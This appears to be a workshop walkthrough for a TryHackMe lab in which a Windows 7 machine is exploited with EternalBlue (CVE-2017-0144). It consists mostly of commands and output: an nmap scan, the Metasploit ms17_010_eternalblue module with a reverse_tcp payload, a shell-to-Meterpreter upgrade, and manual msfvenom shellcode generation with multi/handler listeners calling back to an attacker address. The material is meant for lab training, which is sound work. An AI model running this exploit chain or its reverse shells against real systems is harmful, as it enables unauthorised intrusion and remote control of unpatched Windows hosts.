This workshop is hosted using a TryHackMe Lab, where we will need to exploit CVE-2017-0144 on a Windows 7 Machine
Exporting the IP as shell variable to make life easier
export ip=10.10.24.176
We are able to call $ip in the terminal when we need it instead of typing out the whole IP Address
Task 1 [Recon]
Nmap Scan
nmap-A-T4-oNoutput.nmap $ip
-A: Performs OS Detection, Version Detection, Script Scanning and Traceroute
-T4: Timing Template, number between 1-5, higher is faster, but might be less accurate
-oN: Normal output
Redacted nmap output
# Nmap 7.92 scan initiated Thu Mar 10 19:57:12 2022 as: nmap -A -T4 -vv -oN nmap.out 10.10.24.176
Increasing send delay for 10.10.24.176 from 0 to 5 due to 26 out of 64 dropped probes since last increase.
Nmap scan report for 10.10.24.176
Host is up, received conn-refused (0.32s latency).
Scanned at 2022-03-10 19:57:13 +08 for 168s
Not shown: 991 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON VERSION
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
445/tcp open microsoft-ds syn-ack Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open ssl/ms-wbt-server? syn-ack
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
# Nmap done at Thu Mar 10 20:00:01 2022 -- 1 IP address (1 host up) scanned in 168.71 seconds
Enumeration
Google Windows 7 Professional 7601 Service Pack 1 exploit
msfconsole -q
use windows/smb/ms17_010_eternalblue
set payload windows/x64/shell/reverse_tcp
show options
Module options to set
RHOSTS Remote Host, or our victim machines IP Address
LHOST Listen Host, or our local machine IP Address
setRHOSTS<VICTIM_IP>setLHOST<ATTACKER_IP>
Confirm that the exploit works
exploit
whoami
Note: The exploit uses the Metasploit ms17_010_eternalblue.rb script, however that is out of scope for this workshop. The GitHub URL is attached below for reference if anyone is interested in learning more.
Why? Able to run Meterpreter shell command, instead of only being limited to windows command
How?
We will need to background our current session, and use the post/multi/manage/shell_to_meterpreter to convert our shell to Meterpreter Shell
Ctrl + Z to background
use post/multi/manage/shell_to_meterpreter
sessions
show options
set session <SESSION NUMBER>
exploit
Note: The module uses the Metasploit shell_to_meterpreter.rb script, which is out of scope for the workshop. The GitHub URL is attached below for reference if anyone is interested in learning more.
python eternal_checker.py $ip[*] Target OS: Windows 7 Ultimate 7601 Service Pack 1[!] The target isnot patched=== Testing named pipes ===[*] Done
Compiling Shellcode
cdshellcode./shell_prep.sh_.-;;-._'-..-'||||'-..-'|_.-;;-._|'-..-'||||'-..-'|_.-''-._|EternalBlueWindowsShellcodeCompilerLet's compile them windoos shellcodezzzCompiling x64 kernel shellcodeCompiling x86 kernel shellcodekernel shellcode compiled, would you like to auto generate a reverse shell with msfvenom? (Y/n)yLHOST for reverse connection:10.8.53.141LPORT you want x64 to listen on:4444LPORT you want x86 to listen on:5555Type 0 to generate a meterpreter shell or 1 to generate a regular cmd shell1Type 0 to generate a staged payload or 1 to generate a stageless payload1Generating x64 cmd shell (staged)...msfvenom -p windows/x64/shell/reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=10.8.53.141 LPORT=4444[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload[-] No arch selected, selecting arch: x64 from the payloadNo encoder specified, outputting raw payloadPayload size: 511 bytesSaved as: sc_x64_msf.binGenerating x86 cmd shell (staged)...msfvenom -p windows/shell/reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=10.8.53.141 LPORT=5555[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload[-] No arch selected, selecting arch: x86 from the payloadNo encoder specified, outputting raw payloadPayload size: 362 bytesSaved as: sc_x86_msf.binMERGING SHELLCODE WOOOO!!!DONE
Preparing the listener (following the instructions)
cd.././listener_prep.sh__/,-||)\\_, )`--'Enternal Blue Metasploit ListenerLHOST for reverse connection:10.8.53.141LPORT for x64 reverse connection:4444LPORT for x86 reverse connection:5555Enter 0 for meterpreter shell or 1 for regular cmd shell:1Type 0 if this is a staged payload or 1 if it is for a stageless payload1Starting listener (staged)...Starting postgresql (via systemctl): postgresql.service. ____________ [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $a, |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%] [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $S`?a, |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%] [%%%%%%%%%%%%%%%%%%%%__%%%%%%%%%%| `?a, |%%%%%%%%__%%%%%%%%%__%%__ %%%%] [% .--------..-----.| |_ .---.-.| .,a$%|.-----.| |.-----.|__|| |_ %%] [% | || -__|| _|| _ || ,,aS$""` || _ || || _ || || _|%%] [% |__|__|__||_____||____||___._||%$P"` || __||__||_____||__||____|%%] [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| `"a, ||__|%%%%%%%%%%%%%%%%%%%%%%%%%%] [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%|____`"a,$$__|%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%] [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% `"$ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%] [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%] =[ metasploit v5.0.101-dev ]+ -- --=[ 2048 exploits - 1105 auxiliary - 344 post ]+ -- --=[ 564 payloads - 45 encoders - 10 nops ]+ -- --=[ 7 evasion ]Metasploit tip: Use help <command> to learn more about any command[*] Processing config.rc for ERB directives.resource (config.rc)> use exploit/multi/handler[*] Using configured payload generic/shell_reverse_tcpresource (config.rc)> set PAYLOAD windows/x64/shell/reverse_tcpPAYLOAD => windows/x64/shell/reverse_tcpresource (config.rc)> set LHOST 10.8.53.141LHOST => 10.8.53.141resource (config.rc)> set LPORT 4444LPORT => 4444resource (config.rc)> set ExitOnSession falseExitOnSession => falseresource (config.rc)> set EXITFUNC threadEXITFUNC => threadresource (config.rc)> exploit -j[*] Exploit running as background job 0.[*] Exploit completed, but no session was created.resource (config.rc)> set PAYLOAD windows/shell/reverse_tcpPAYLOAD => windows/shell/reverse_tcp[*] Started reverse TCP handler on 10.8.53.141:4444 resource (config.rc)> set LPORT 5555LPORT => 5555resource (config.rc)> exploit -j[*] Exploit running as background job 1.[*] Exploit completed, but no session was created.[*] Started reverse TCP handler on 10.8.53.141:5555